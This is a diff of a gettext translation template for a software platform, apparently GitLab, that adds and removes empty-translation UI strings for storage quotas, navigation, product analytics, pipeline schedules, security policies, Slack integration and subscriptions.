msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27611,9 +27954,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr ""
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40406,18 +41070,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
